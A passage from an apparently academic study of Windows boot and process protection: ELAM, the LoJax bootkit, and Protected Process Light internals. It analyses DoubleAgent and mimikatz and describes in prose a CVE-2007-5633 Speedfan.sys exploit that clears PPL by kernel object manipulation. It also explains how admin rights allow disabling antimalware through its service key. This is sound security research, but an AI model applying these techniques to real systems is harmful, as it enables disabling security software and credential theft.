Now, a system does not benefit from ELAM per se but the bootkit would have been stopped by a 
hardware with platform boot verification features. Specifically, on systems with Intel Boot Guard 
and Secure Boot enabled, the firmware would already stop while loading the UEFI module of the 
bootkit because it is not signed by the hardware manufacturer (Bypassing Intel Boot Guard, 2017). 
The same is just assumed for system using AMD Hardware Validated Boot because there was not 
enough public information about AMD’s implementation that could explain how it could have 
protected against the attack. 
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Take note that having UEFI Secure Boot alone will not be enough to protect against LoJax. UEFI 
Secure Boot is only able to protect against UEFI modules loaded from the storage device of the 
system. However, the bootkit stores its UEFI module in the firmware volume. UEFI modules loaded 
from the firmware volume are always executed regardless if they are signed or not (Bulygin et al., 
2013). 
 

 
Figure 4.11: LoJax Persistence Mechanism 

 
LoJax also has the potential to be caught be an antimalware software utilizing the Measured Boot 
functionality. For example, an antimalware software may be able to detect that the measurement 
is different from the previous boot and that it does not match with measurements from similar 
systems of other users. Although Measured boot alone may be able to detect LoJax, in theory, 
such approach is generally unreliable. A bootkit can modify the firmware in such a way that it will 
always give the measurement an antimalware software expects to see. 
 
Unfortunately for systems that do not support these three features, the user mode component 
will be loaded before the main scanners of an antimalware software. Therefore, the malware 
would have already loaded any payload and removed traces of itself. Just like in the Cahnadr case, 
the user mode component can be caught by any boot time scanner but they are seldomly used in 
practice. The payload used in this particular Sednit APT campaign may also be caught by any 
antimalware software but in theory, LoJax could have executed a payload with stealth capabilities. 
 

4.12 Assessment 
 
For end users, ELAM reduces their exposure to rootkits and bootkits for free. The feature comes 
with modern Windows installations. The only hurdle users may have to face is when they use 
some third-party drivers that are blacklisted by the ELAM component of their antimalware 
software. As mentioned earlier, the implementation of an ELAM signature database is up to the 
antimalware software; thus, some may decide to block legitimate third-party drivers as we will 
discuss shortly. This should not be considered as an additional barrier to using the feature though 
because this is no different from an antimalware software blocking legitimate applications they 
deemed risky or potentially unwanted for the general users. Examples of such applications are 
remote administration tools and cryptocurrency miner applications. Users are usually provided 
with the option to allow or block such applications. The same applies in ELAM, where users may 
configure Windows to allow BdCbClassificationKnownBadImageBootCritical 
drivers via group policy. 
 
However, we discussed earlier that ELAM alone does not bring much protection to the end users. 
Unfortunately, the cost of entry for the other features for securing system startups are high. Intel 
Boot Guard and AMD Hardware Validated Boot are hardware features. UEFI Secure Boot may be a 
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software feature but it requires a supported firmware. The same applies to Measured Boot but it 
also requires a TPM. 
 
For antimalware software vendors, ELAM enables them to improve their coverage against driver-
based threats. Although driver-based rootkits are no longer as prevalent as in the past due to the 
uptake of 64-bit systems and DSE, antimalware vendors may have paying customers that are still 
using 32-bit machines. There are also multiple use cases where there is a need to blacklist signed 
drivers. First is the emergence of ‘Bring Your Own Vuln’, where perpetrators install a vulnerable 
software themselves for the sole purpose of exploiting it – just like what happened in the Canahdr 
case. This approach is also being used in other attacks, such as bypassing firewall (Balazs, 2014), so 
blacklisting such software does bring additional value aside from protecting against malware. 
Second is that there are multiple instances in the past where malware were signed with valid 
digital signatures. Although their objective at that time were to increase their chances of getting 
whitelisted (Niemelä, 2010), there is no reason to believe that a similar approach will not be used 
to bypass DSE. 
 
In terms of practicalities, ELAM is a new component, hence developers do not face challenges 
involved in migrating old software projects to new development environments. However, it is very 
likely that ELAM will not be supported by the existing supply chain infrastructure of an 
antimalware software especially as ELAM cannot use existing signature databases. The cost for 
this does not seem to be justified by the limited benefits of ELAM, but the fact is that Microsoft 
has indirectly made it a requirement for antimalware software to have ELAM. ELAM is a 
prerequisite of Protected Process Light (PPL), which is a requirement for antimalware software to 
integrate into Windows starting Windows 10 version 1809 (Wood et al., 2018). This was most 
likely enforced by Microsoft for efficiency reasons. We will see in the following chapter that PPL 
will also be requiring a code-signing certificate traceable to Microsoft. Instead of requiring 
antimalware software to submit each of their components individually to Microsoft for signing, 
they are only required to embed their code-signing certificate to their ELAM component. This way, 
they only need to submit their ELAM component to Microsoft for signing. Given what was 
mentioned, it is possible for antimalware software to develop an ELAM component just to comply 
with the requirement without implementing the full ELAM functionality if they decide the benefit 
does not outweigh the cost. 
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5 Protected Processes 
 
In the security model of Windows, any process running with admin rights can acquire the debug 
privilege, which in turn allows the process to request any access rights to any process in the 
system. This means that any user who has admin rights is able to read the memory content of any 
process in the system. Processes may include those of media players, whose memory may contain 
copyrighted digital media in unprotected form. To support protected playback of these media, 
protected processes were introduced in Windows Vista and Windows Server 2008. Running a 
process as protected will deny certain access rights even to processes that have the debug 
privilege. To prevent malicious processes from abusing the feature, for example, like protecting 
themselves from antimalware software, Windows will only allow a process to be protected if its 
image file is signed with a special Windows Media Certificate (Yosifovich et al., 2017: 113). 
 
Starting Windows 8.1 and Windows Server 2012 R2, the feature was extended to allow other 
processes to be protected. The feature is now called Protected Processes Light (PPL). In this 
iteration, multiple protection levels were introduced, some lighter than the others. Just like in the 
earlier iteration, the digital signature of a file, specifically, the code-signing certificate of the file, 
determines at which protection level the file can be executed. The protection level then 
determines which access rights will be restricted and which DLLs can be loaded. 
 

5.1 Under the Hood 
 
In Windows, each process is described by a memory structure called EPROCESS (Yosifovich et al., 

2017: 105). Starting Windows Vista and Windows Server 2008, a bit called ProtectedProcess 

was added to the EPROCESS structure to denote that a process is protected (Ionescu, 2013a). 
Once a process is protected, other non-protected processes will no longer be able to perform 
certain operations on the protected process. These operations are listed Table 5.1 (Ionescu, 2007). 
 

Inject a thread into a protected process 

Access the virtual memory of a protected process 

Debug an active protected process 

Duplicate a handle from a protected process 

Change the quota or working set of a protected process 

Set or retrieve thread context information from a protected process 

Impersonate a thread from a protected process 

Table 5.1: Restricted Operations on a Protected Process 
 
The ProtectedProcess bit was removed when the SignatureLevel field was added to 

the EPROCESS structure in Windows 8. This is because the former can already be implied from 
the latter (Ionescu, 2013d). However, the entire model was replaced with PPL starting Windows 
8.1 and Windows Server 2012 R2. 
 
In PPL, a new field called Protection was added (Ionescu, 2013a) in addition to the 

SignatureLevel field. The Protection field denotes the protection level of a process and is 

derived from its Signer and Type subfields (Ionescu, 2013b). The possible values of Signer 
are listed down in Figure 5.1 while the possible values of Type in Figure 5.2. 
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ntdll!_PS_PROTECTED_SIGNER 

   PsProtectedSignerNone = 0n0 

   PsProtectedSignerAuthenticode = 0n1 

   PsProtectedSignerCodeGen = 0n2 

   PsProtectedSignerAntimalware = 0n3 

   PsProtectedSignerLsa = 0n4 

   PsProtectedSignerWindows = 0n5 

   PsProtectedSignerWinTcb = 0n6 

   PsProtectedSignerWinSystem = 0n7 

   PsProtectedSignerApp = 0n8 

   PsProtectedSignerMax = 0n9 
Figure 5.1: Protection Signers 

 
ntdll!_PS_PROTECTED_TYPE 

   PsProtectedTypeNone = 0n0 

   PsProtectedTypeProtectedLight = 0n1 

   PsProtectedTypeProtected = 0n2 

   PsProtectedTypeMax = 0n3 
Figure 5.2: Protection Types 

 
As example, Figure 5.3a illustrates how a Windows kernel debugger can be used to inspect the 
Protection field of the SecurityHealthService.exe and the MsMpEng.exe processes to derive 
the protection level. The results are summarized in Table 5.2. Notice how they corresponds to the 
Protection column of Process Explorer in Figure 5.3b. 
 

 Signer 
Type 

Protection Column in 
Process Explorer Binary Decimal 

SecurityHealthService.exe 101 5 1 PsProtectedSignerWindows-Light 

MsMpEng.exe 011 3 1 PsProtectedSignerAntimalware-Light 

Table 5.2: Signer and Type of SecurityHealthService.exe and MsMpEng.exe 
 

0: kd> dt _EPROCESS Protection 

ntdll!_EPROCESS 

   +0x6ca Protection : _PS_PROTECTION 

0: kd> !process 0 0 SecurityHealthService.exe 

PROCESS ffff9400b4a6f4c0 

    SessionId: 0  Cid: 098c    Peb: 799afa8000  ParentCid: 0274 

    DirBase: 11a81c000  ObjectTable: ffffe38fe6651d00  HandleCount: 332. 

    Image: SecurityHealthService.exe 

 

0: kd> dt ffff9400b4a6f4c0+0x6ca _PS_PROTECTION 

ntdll!_PS_PROTECTION 

   +0x000 Level            : 0x51 'Q' 

   +0x000 Type             : 0y001 

   +0x000 Audit            : 0y0 

   +0x000 Signer           : 0y0101 

0: kd> !process 0 0 MsMpEng.exe 

PROCESS ffff9400b49db5c0 

    SessionId: 0  Cid: 09c8    Peb: f13fef2000  ParentCid: 0274 

    DirBase: 11ac42000  ObjectTable: ffffe38fe6612c40  HandleCount: 989. 

    Image: MsMpEng.exe 

 

0: kd> dt ffff9400b49db5c0+0x6ca _PS_PROTECTION 

ntdll!_PS_PROTECTION 

   +0x000 Level            : 0x31 '1' 

   +0x000 Type             : 0y001 

   +0x000 Audit            : 0y0 

   +0x000 Signer           : 0y0011 
Figure 5.3a: Protection Level as Shown in WinDbg 
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Figure 5.3b: Protection Level as Shown in Process Explorer 

 
The protection level determines whether restrictions will be applied to a request and which rights 
will be restricted. Restrictions will be applied to requests from processes with a lower protection 

Type than their target (Ionescu, 2013c). For example, restrictions will be applied to 
PsProtectedTypeProtectedLight processes requesting access rights to 
PsProtectedTypeProtected processes (Figure 5.2). 
 
Restrictions will also be applied to requests from processes that do not ‘dominate’ their target. To 
determine whether a process ‘dominates’ another, the protection Signer of the requesting 

process is used to obtain a DominateMask from the RtlProtectedAccess table in 
ntoskrnl.exe. The table has a structure described in Figure 5.4 (Ionescu, 2013b). 
 

RTL_PROTECTED_ACCESS 

+0x000 DominateMask        : Uint4B 

+0x004 DeniedProcessAccess : Uint4B 

+0x008 DeniedThreadAccess  : Uint4B 
Figure 5.4: RTL_PROTECTED_ACCESS 

 
A process dominates a target if the protection Signer of the target belongs to the 
DominateMask of the requesting process (Ionescu, 2013c). As example, we use the entries of 
the RtlProtectedAccess table in Windows 10 version 1809 as shown in Table 5.3. 
 
Signer DominateMask DeniedProcessAccess DeniedThreadAccess 

None 0x00000000 0x00000000 0x00000000 

Authenticode 0x00000002 0x000fc7fe 0x000fe3fd 

CodeGen 0x00000004 0x000fc7fe 0x000fe3fd 

Antimalware 0x00000108 0x000fc7ff 0x000fe3ff 

Lsa 0x00000010 0x000fc7ff 0x000fe3ff 

Windows 0x0000003e 0x000fc7fe 0x000fe3fd 

WinTcb 0x0000017e 0x000fc7ff 0x000fe3ff 

WinSystem 0x000001fe 0x000fefff 0x000ff7ff 

Table 5.3: RtlProtectedAccess Table in Windows 10 Version 1809 
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Based on the table, PsProtectedSignerAntimalware processes have a DominateMask 

of 0x00000108. This means that they have bits 3 and 8 enabled in their DominateMask, which 
correspond to PsProtectedSignerAntimalware and PsProtectedSignerApp 
processes respectively (Figure 5.1). Therefore, PsProtectedSignerAntimalware processes 
dominate other PsProtectedSignerAntimalware and PsProtectedSignerApp 
processes. 
 
Once it has been determined that a restriction has to be applied, the RtlProtectedAccess 
table is used again to check if the request should be denied. Depending on whether the requested 
access rights are for a process or for a thread, they are checked against the 
DeniedProcessAccess value or the DeniedThreadAccess value of the target process 
(Ionescu, 2013b). As example, a non-protected process (PsProtectedSignerNone) has a 

DominateMask of 0x00000000, which means it does not dominate any process. A request for 
a THREAD_SUSPEND_RESUME (0x0002) access right to a 
PsProtectedSignerAntimalware process by a non-protected process will be denied 
because PsProtectedSignerAntimalware processes have a DeniedThreadAccess 

value of 0x000fe3ff, which covers 0x0002 (0x000fe3ff AND 0x0002 = 0x0002). 
However, a similar request to a PsProtectedSignerWindows process will not be denied 
because 0x000fe3fd does not cover 0x0002 (0x000fe3fd AND 0x0002 = 0x0000). 
 

 
 

Figure 5.5: PPL Access Rights Request Verification 
 
Figure 5.5 is just a rough summarization of the access rights verification process. In the actual 
implementation, the protection Type and Signer checks are done in the 
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RtlTestProtectedAccess Windows function, which is indirectly called by the 

PspProcessOpen and PspThreadOpen Windows functions. The latter two are the ones 
responsible for the DeniedProcessAccess and DeniedThreadAccess checks. Aside from 
restricting access rights to processes and threads, RtlTestProtectedAccess is also being 
used to gate service operations. Specifically, the function is indirectly called by 
RDeleteService, RChangeServiceConfigW, RChangeServiceConfig2W, 

RSetServiceObjectSecurity, and RControlService Windows functions. The checks 
are applied using the protection level of the process performing the service operation and the 
protection level of the process image of the target service (Ionescu, 2013b). 
 

5.2 Digital Signature Requirements 
 
As mentioned earlier, whether an executable can be launched as protected depends on its code-
signing certificate. According to the research by Ionescu (2013d), the code-signing certificate has 
to be traceable to a Root CA managed by the Product Release Services team in Microsoft. Aside 
from that, the code-signing certificate also needs to have the necessary Enhanced Key Usage (EKU) 
to execute as having certain protection Signer and protection Type. For the desired protection 

Type, it would depend on the having the necessary EKUs described in Table 5.4. For the desired 
protection Signer, it would depend on the signing level of an executable, which is derived from 
the EKUs described in Table 5.5 (Grandlienard, 2019). 
 

Desired Type EKU OID Value EKU OID Name 

ProtectedLight 1.3.6.1.4.1.311.10.3.22 or 
1.3.6.1.4.1.311.10.3.24 

Protected Process Light Verification or 
Protected Process Verification 

Protected 1.3.6.1.4.1.311.10.3.24 Protected Process Verification 

Table 5.4: Protection Type EKU Requirements 
 

EKU OID Value EKU OID Name Granted Signing Level 

1.3.6.1.4.1.311.76.3.1 Windows Store Store 

1.3.6.1.4.1.311.76.5.1 Dynamic Code Generation Dynamic Code Generation 

1.3.6.1.4.1.311.76.8.1 Microsoft Publisher Microsoft 

1.3.6.1.4.1.311.10.3.5 Windows Hardware Driver Verification Microsoft 

1.3.6.1.4.1.311.10.3.6 Windows System Component Verification Windows 

1.3.6.1.4.1.311.10.3.20 Windows Kits Component Microsoft 

1.3.6.1.4.1.311.10.3.23 Windows TCB Component Windows TCB 

1.3.6.1.4.1.311.10.3.25 Windows Third Party Application 
Component 

Authenticode 

1.3.6.1.4.1.311.10.3.26 Windows Software Extension Verification Microsoft 

Table 5.5: EKU to Signing Level Mapping 
 
To be allowed to launch as having a certain protection Signer, the signing level of an executable 

has to be equal or greater than the SignatureLevel of the desired protection Signer. The 
same applies to a DLLs, but this time the signing level has to be equal or greater than the 
SectionSignatureLevel of the target process. Both are fields found in the EPROCESS 
structure of a process. Table 5.6 describes the protection Signer signing level requirements 
while Table 5.7 describes the order of the different signing levels (Ionescu, 2013d). 
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Desired Signer SignatureLevel SectionSignatureLevel 

None Unchecked Unchecked 

Authenticode Authenticode Authenticode 

CodeGen Dynamic Code Generation Store 

Antimalware Custom 3 / Antimalware Custom 3 / Antimalware 

Lsa Windows Microsoft 

Windows Windows Windows 

WinTcb Windows TCB Windows TCB 

Table 5.6: Protection Signer Signing Level Requirements 
 

 Signing Level  Signing Level  Signing Level 

0 Unchecked 6 Store 12 Windows 

1 Unsigned 7 Custom 3 / Antimalware 13 
Windows Protected 
Process Light 

2 Custom 0 8 Microsoft 14 Windows TCB 

3 Custom 1 9 Custom 4 15 Custom 6 

4 Authenticode 10 Custom 5   

5 Custom 2 11 Dynamic Code Generation   

Table 5.7: Signing Levels 
 
Using the SecurityHealthService.exe process again in Figure 5.3b as example, take note that the 
process has a ‘PsProtectedSignerWindows-Light’ protection. That ‘light’ protection Type would 
require the Protected Process Light Verification EKU (Table 5.4), while the 
‘PsProtectedSignerWindows’ would require a ‘Windows’ signing level (Table 5.6), which in turn 
would require a Windows System Component Verification EKU (Table 5.5). As shown in Figure 5.6, 
the certificate contains both the Protected Process Light Verification (1.3.6.1.4.1.311.10.3.22) and 
the Windows System Component Verification (1.3.6.1.4.1.311.10.3.6) EKUs. 
 

 
Figure 5.6: EKU of SecurityHealthService.exe 
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Notice that there are custom signing levels in Table 5.7 that does not have a corresponding EKU in 
Table 5.5. They can be assigned runtime signers by installing a Secure Boot Signing Policy. 
However, on default Windows setup, only ‘Custom 3 / Antimalware’ can be assigned a runtime 
signer. This can be achieved either by loading an ELAM driver at Windows startup (Ionescu, 2013d) 
or by using the InstallELAMCertificateInfo Windows API. The latter accepts a handle to 
an ELAM driver as its parameter (Kennedy et al., 2018). 
 

5.3 Protecting System Processes 
 
With PPL, Windows was able to extend a feature that was previously used for protecting 
copyrighted media to also protect system processes especially against attackers that have already 
gained admin rights. In the past, this was thought to be out of scope of any security measures. 
After all, an admin should have the rights to start or stop any process, or even security features, in 
their systems. However, a good practice in information security is that users should only be 
granted access to what is essential. For instance, there is no reason why an admin should be 
involved in how the operating system manages its GUI. This approach is known as the principle of 
least privilege (n.d.). This way, when something goes wrong, the damages will also be contained. 
PPL provides exactly that. 
 
One example is to use PPL to protect the Windows environment subsystem process csrss.exe. The 
Windows environment subsystem is responsible for the look and feel being presented to the 
users. Naturally, csrss.exe will have access to several highly privileged APIs provided by its kernel 
mode counterpart - Win32k.sys. Allowing admins inject code or load DLLs into csrss.exe does not 
bring any benefit but only exposes the system to potential privilege escalation attacks. In fact, this 
is the reason why csrss.exe is a popular source of Windows exploits. Therefore, simply running 
csrss.exe as protected can mitigate these types of exploits (Ionescu, 2013b). Starting Windows 8.1 
and Windows Server 2012 R2, csrss.exe is running with the protection Type of 

PsProtectedTypeProtectedLight and protection Signer of 
PsProtectedSignerWinTcb. 
 
Another example is to use PPL to protect the Windows lsass.exe process. The process is 
responsible for authenticating users when they are signing in to the system and accessing services 
in the network. To allow signed on users to access remote services without reauthenticating, the 
process has to store the credentials of signed on users in its memory. This means that those 
credentials can be stolen by an attacker who can read the process’s memory. In most cases, these 
credentials are stored in hash form but the hashes are usually enough to access remote services 
(Ionescu, 2013a). 
 
In some cases, it might even be possible to obtain the plain text passwords from the process’s 
memory. Some services require the plain text password during authentication so the lsass.exe 
process needs to be able to retrieve them in such form. The passwords are still not stored in plain 
text but they are encrypted using symmetric algorithm, with the secret key also stored in the 
memory of the lsass.exe process. This means that attackers have the possibility to steal, not just 
the hashes, but the actual passwords of signed on users. Moreover, there are available Windows 
APIs can be used to decrypt the passwords. In fact, there is already a tool called ‘mimikatz’ that do 
exactly that (Ionescu, 2013a).  
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To protect against such attack, unauthorized access to the memory of lsass.exe must be 
prevented. Therefore, just like with the csrss.exe example, simply running lsass.exe as protected 
mitigates these kinds of attacks. The feature is not enabled by default though. It can be enabled by 
setting the RunAsPPL registry value in 
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa to a 
REG_DWORD of 1. After reboot, lsass.exe will be running with the protection Type of 
PsProtectedTypeProtectedLight and protection Signer of 

PsProtectedSignerLsa (Ionescu, 2013a). 
 

5.4 Protecting Antimalware Software 
 
Aside from protecting system processes, PPL can also be used to protect antimalware processes. 
In the previous chapter, we have covered some techniques that malware have used to become 
undetectable. However, if a malware does not care about stealth, it can simply disarm the 
antimalware software. These kinds of malware are called retroviruses. These malware also rely on 
their victims having admin rights to modify code in memory or kill processes of antimalware 
software to disarm them (Szor, 2005: 247-248). This often leads to a measure-counter measure 
arms race between the malware authors and the antimalware software developers described in 
the previous chapter. As per Lehman’s law on software evolution, the quality of the software 
decreases as its complexity increases (Karch, 2011). The outcome is that antimalware software is 
left with complex self-protection and self-recovery routines, which may contain potentially 
exploitable bugs. 
 
Instead of leaving antimalware software developers to implement their own countermeasures, it 
makes sense for Microsoft to allow antimalware software to utilize the same functionality used to 
protect Windows system processes. This is the purpose of the 
PsProtectedSignerAntimalware protection Signer (Figure 5.1). The issue, however, is 
that there is no equivalent EKU for the ‘Custom 3 / Antimalware’ signing level (Table 5.5), which is 
required to run a process as PsProtectedSignerAntimalware (Table 5.6). This is what an 
ELAM driver addresses. 
 
As mentioned earlier, an ELAM driver can be used to register a runtime signer for the ‘Custom 3 / 
Antimalware’ signing level. Loading an ELAM driver triggers Windows to parse for any runtime 
signer information stored in the driver and register them. The information will be extracted from 
the MSELAMCERTINFOID resource in the MICROSOFTELAMCERTIFICATEINFO resource 
section of the driver (Ionescu, 2013d). The information must include the hashing algorithm and 
hash of the code-signing certificate of executable files that should be granted the ‘Custom 3 / 
Antimalware’ signing level. If a signer is planning to require certain EKUs before granting an 
executable the signing level, the object identifiers (OIDs) of the EKUs must also be included in the 
runtime signer information. 
 

Figure 5.7 is an example of a MSELAMCERTINFOID resource file that must be linked to an ELAM 
driver, while Figure 5.8 shows how it looks like in the ELAM driver after it was linked. The number 
of runtime signers is highlighted in green, while the hash and hashing algorithm of the first signer 
is highlighted in red and blue respectively. There is only one signer in the example and it will not 
be requiring any EKUs from its code-signing certificate. When creating a MSELAMCERTINFOID 
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resource file, the certmgr.exe tool that comes with the Windows SDK can be used to obtain the 
hash and hashing algorithm of a code-signing certificate, as shown in Figure 5.9. 
 
MicrosoftElamCertificateInfo  MSElamCertInfoID 

{ 

    1,      // number of certificates 

 

    // Information of first certificate 

    L"5CBDD46B70D6D8B4A7A91BB8A51B4DF81DEAC2732129A56B7AB0E354B7DFEACA\0", // hash 

    0x800c, // hashing algorithm: 0x8004 – SHA1, 0x800c – SHA256, 0X800d – SHA384, 0x800e – SHA512 
    L"\0",  // list of EKU OIDs separated by ';' if any 

 

    // Information of other certificates if any 

} 
Figure: 5.7: Example of an MSELAMCERTINFOID Resource File 

 

 
Figure 5.8: Runtime Signer Information in an ELAM Driver 

 

 
Figure 5.9: Using Certmgr.exe to Obtain the Hash of a Certificate 

 
Once the runtime signer has been registered, the next thing to do is to configure the service of the 
antimalware software to run as protected. This can be achieved by using the 
ChangeServiceConfig2 Windows API as shown in Figure 5.10. In the example, hService 
should already contain a handle to the service of the antimalware software. 
 

SERVICE_LAUNCH_PROTECTED_INFO Info; 

Info.dwLaunchProtected = SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT; 

ChangeServiceConfig2(hService, SERVICE_CONFIG_LAUNCH_PROTECTED, &Info) 
Figure 5.10: Configuring the Service of an Antimalware Software 
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This will result to a LaunchProtected registry value with a REG_DWORD of 3 being created in 
the service key of the antimalware software (Figure 5.11). The registry value corresponds to the 
enumeration value of SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT. 
 

 
Figure 5.11: Service Key of a Dummy Antimalware Software 

 

5.5 Case Study: DoubleAgent 
 
To see how PPL fair against real attacks, we looked at the highly publicized malware injection and 
persistence technique dubbed DoubleAgent. It was named as such by its creators because it is 
being promoted as a technique for trojanizing antimalware software. Once trojanized, an 
antimalware software becomes a double agent in the sense that it becomes the thing it was 
supposed to be protecting from. According to its creators, the technique can be used to take ‘full 
control of any antivirus by injecting code into it while bypassing all of its self-protection 
mechanism’ (Engstler, 2017). This fits the definition of a retrovirus, which is one of the issues PPL 
was designed to address (Kennedy et al., 2018). 
 
Technically, DoubleAgent is nothing more than the loading mechanism used by the Windows 
runtime verification tool called Application Verifier. When an application is added by the tool to be 
tested, a registry subkey having the filename of the application will be created under 
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows 

NT/CurrentVersion/Image File Execution Options, as shown in Figure 5.12. 
 

 
Figure 5.12: Registry Entry for an Application Being Tested by Application Verifier 

 
The subkey is used for storing the settings of the different tests to be conducted by Application 
Verifier on the application. The important values to take note of are the GlobalFlag and 
VerifierDlls. The former is for enabling internal tracing and validation support in Windows 
for an executable (Russinovich et al., 2012: 207). In the example, it has a value of 0x100, which is 
equivalent to FLG_APPLICATION_VERIFIER (Marshall, 2017). The VerifierDlls value, 
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on the other hand, specifies the Application Verifier components to be loaded into the application 
being tested. Also take note that the setting will affect all processes having the filename regardless 
of the path of their image file. In the example, vrfcore.dll and vfbasics.dll will be loaded by 
Windows into any executable named TestService.exe, regardless of its path, when executed. 
 
An attacker can exploit this loading mechanism by specifying a malicious DLL instead of an 
Application Verifier component. The effect will be that the malicious DLL will get loaded into the 
target application, and in the case of DoubleAgent, an antimalware software. However, when PPL 
is enabled, the malicious DLL needs to have a valid code-signing certificate that matches the hash 
and contain the necessary EKUs specified in the ELAM driver of the antimalware software, before 
it will be allowed by Windows to be loaded. This effectively mitigates DoubleAgent. 
 
Even though PPL will be able to prevent a malicious DLL from getting loaded into an antimalware 
software, it does have an unintended side effect. When PPL is enabled, Windows will refuse to 
load the antimalware software, thinking that a required DLL is corrupted. In comparison to when 
PPL is disabled, an antimalware software will still have the opportunity to self-recover. Therefore, 
in attack like this, enabling PPL has the opposite effect of causing a denial-of-service on the 
antimalware software, instead keeping it alive. 
 
This should not be considered a bug though because an Application Verifier DLL also has the same 
effect on a PPL-enabled process. Application Verifier is a testing tool and is not intended to be 
used on release builds of executables. Likewise, PPL is not designed for use on debug builds of 
executables because PPL ‘protects’ executables from being analyzed. 
 
For clarity, a DoubleAgent attack is filename specific and will therefore only affect the targeted 
antimalware software components. Everything else in the system will continue to behave as usual. 
It is worth noting that Window’s built-in antimalware may take over depending on how disabled 
the installed antimalware software ends up becoming. In case the former is also targeted, then the 
user will be notified by Windows that their system is not protected. 
 

5.6 Case Study: ‘Bring Your Own Vuln’ 
 
Another example of a real attack against PPL is the ‘mimikatz’ tool. As mentioned earlier, the tool 
can be used to extract passwords from the Windows lsass.exe process. It has worked around PPL 
by implementing its own driver component. Just as with any memory structure used by the kernel, 
the EPROCESS structure is vulnerable to direct kernel object manipulation (DKOM) attacks once 
an attacker is able to execute code in kernel mode. In the case of the ‘mimikatz’ driver, it directly 

manipulates the Protection field (Delpy, 2019). 
 
The compiled and signed ‘mimikatz’ driver is still available for download to anyone. Even though 
the code-signing certificate of the driver cannot be verified, the driver can still be installed without 
any issue (Stirparo et al., 2016; Hudek et al., 2017d). The ramification is that any attacker can 
simply install the driver and use it to disable PPL when need. It can be argued though that the 
driver has already been blacklisted by most antimalware software including Windows Defender, 
which is built-in all recent Windows installations (VirusTotal, 2019). 
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However, attackers can still build their own drivers for 32-bit systems where DSE is not active. For 
64-bit systems, instead of installing the ‘mimikatz’ driver, attackers can install legitimate third-
party drivers that contains vulnerabilities and exploit them. In fact, this has become a trend that is 
being dubbed by some researchers as ‘Bring Your Own Vuln’. The technique was first seen in 2014 
being used by the Uroburos malware (Balazs, 2014), and is still being used in 2018 by malware like 
as Cahnadr (The Slingshot APT, 2018). Antimalware software cannot protect against such attacks 
because if they block the vulnerable drivers, systems that are dependent on the drivers will 
become unusable. On the other hand, if they choose to just warn their users, then systems will still 
get infected. 
 
To demonstrate that such attack is possible, Appendix A contains a proof of concept (PoC) that 
exploits CVE-2007-5633 to disables the PPL of a given process ID. CVE-2007-5633 is a privilege 
escalation vulnerability found in the Speedfan.sys driver of the Alfredo Milani Comparetti 
SpeedFan 4.33 application because it allows any process to modify an arbitrary MSR (CVE-2007-
5633 Detail, 2007). The driver is one of the drivers used by the Cahnadr malware to execute code 
in kernel mode as mentioned in the previous chapter. 
 
To summarize the PoC, Windows running in a 64-bit Intel x86 machine uses the SYSCALL 
instruction when performing a system service call. Executing the instruction prompts the CPU to 
transition into kernel mode and transfer execution to the address specified in LSTAR (0xC0000082) 
MSR (Russinovich et al., 2012: 132-134). Therefore, the PoC simply uses Speedfan.sys to set LSTAR 
MSR to an address containing the shellcode. This will cause the next SYSCALL to execute the 
shellcode in kernel mode. The PoC then calls the Sleep Windows AP to trigger a SYSCALL. 
 
Upon execution, the shellcode immediately restores LSTAR MSR back to the address of the 
Windows service dispatcher to avoid disrupting other threads that will execute in the same CPU. 
This is also done to avoid being detected by PatchGuard when it checks the integrity of the MSRs 
every few minutes (Diskin, 2013). Afterwards, the shellcode uses DKOM to clear the 
Protection field in the EPROCESS structure of its target process. To locate the EPROCESS 
structure of its target process, the shellcode obtains the address of the KPCR structure from the 
gs register of the CPU. This structure describes the current state of the CPU, which includes the 

current thread being executed. The current thread is described by an ETHREAD structure 
(Security Ninja, 2017), which includes a pointer the EPROCESS structure of its owning process. 
Finally, all the EPROCESS structures in a system are arranged in a circular, doubly linked list 
format (Hoglund and Butler, 2005: 611), hence, the shellcode just needs to traverse the linked list 
until it finds the EPROCESS node that has a UniqueProcessId field that matches the process 
ID of its target process. 
 
Take note that the PoC does not work on Windows 10 and Windows Server 2016 with 
Virtualization Base Security (VBS) enabled. This is because the Windows hypervisor filters access to 
the LSTAR MSR when the feature is enabled (Ionescu, 2015; Graff et al., 2017a). However, systems 
must be running on 64-bit CPUs with Second Level Address Translation (SLAT) to enable VBS (Graff 
et al., 2017b). 
 
The PoC also does not work on hardware that support SMEP, which stands for Supervisor Mode 
Execution Protection. SMEP prevents code located in memory addresses allocated by user mode 
processes to be executed in kernel mode (Windows 8 Kernel Memory Protections Bypass, 2014). 
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Since the shellcode is located in the memory allocated by the PoC, which is running in user mode, 
the shellcode will not be executable when CPU transition to kernel mode. 
 

5.7 Assessment 
 
Just like with ELAM, end users benefit from protected processes by receiving a more hardened 
system for free since the feature comes with modern Windows installations. In terms of 
effectiveness though, it has some shortcomings. For a feature designed to counter admin based 
attacks, it is vulnerable to kernel based attacks. However, as demonstrated in the previous 
section, it is trivial to conduct the latter once an attacker has achieved the former. As with most 
Windows security features, most likely PPL was not designed to be standalone. VBS is needed to at 
least stand a chance but the feature is only available on 64-bit systems that have the necessary 
hardware. The feature also does not protect against signed drivers such as the ‘mimikatz’ driver. 
Perhaps this is the reason why Microsoft did not bother to enable PPL on lsass.exe by default. 
After all, attackers can already read the memory of lsass.exe once they reach kernel mode so they 
do not really need to go through the trouble of disabling PPL first. The only way to protect 
lsass.exe is to make its memory non-readable even from the kernel, which is only possible when 
VBS is enabled. 
 
On the positive side, VBS alone will not be able to protect antimalware process; therefore, the two 
features do complement each other. PPL also provides a more accurate way for protecting critical 
system processes to maintain system stability. Previous approaches usually rely on heuristics that 
can easily be abused by malware. For example, malware often call themselves csrss.exe so that 
Windows will prevent users from terminating them. PPL is based on a cryptographic approach 
which cannot be faked by malware (Ionescu, 2013b). 
 
For antimalware software developers, PPL was supposed to relieve them from implementing self-
protection and self-recovery routines themselves to reduce complex routines that may contain 
vulnerabilities (Kennedy et al., 2018). However, PPL only protects process and service termination 
but leaving registry and service keys as well as files of antimalware software open to attacks. Using 
Figure 5.11 as example, an attacker who has admin rights, can either change the value of 
ImagePath to something else, rename c:\TestService\TestService.exe to something else, or 

completely delete the TestService key under 
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services. Any these will 
disable the antimalware software in the next system reboot. With that said, antimalware software 
